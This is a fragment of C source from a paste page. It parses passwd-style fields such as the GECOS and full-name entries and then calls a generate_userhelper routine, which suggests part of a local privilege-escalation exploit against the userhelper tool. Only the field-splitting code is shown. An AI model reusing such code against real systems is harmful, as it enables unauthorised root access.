  935. "%.*s", (int)field_len, field);
  936. if (strlen(assembled) != field_len) die();
  937.  
  938. struct gecos_data gecos;
  939. memset(&gecos, 0, sizeof(gecos));
  940. xsnprintf(gecos.site_info, sizeof(gecos.site_info),
  941. "%s", my.gecos.site_info);
  942. if (strcmp(assembled, gecos_assemble(&gecos)) != 0) die();
  943. }
  944.  
  945. siteinfo_len = strlen(my.gecos.site_info);
  946. fullname_off = field - contents;
  947.  
  948. before_fullname_len = field - line;
  949. before_fullname = xstrndup(line, before_fullname_len);
  950.  
  951. after_fullname_len = rest - field;
  952. after_fullname = xstrndup(field, after_fullname_len);
  953. break;
  954.  
  955. case 5:
  956. if (*field != '/') die();
  957. break;
  958. default:
  959. die();
  960. }
  961. field = field_end + 1;
  962. }
  963.  
  964. const int err = generate_userhelper(a, n-1, contents);
  965.  
  966. free(before_fullname), before_fullname = NULL;
  967. free(after_fullname), after_fullname = NULL;
  968. free(contents);
  969.  
  970. return (err < 0) ? -1 : n;
  971. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement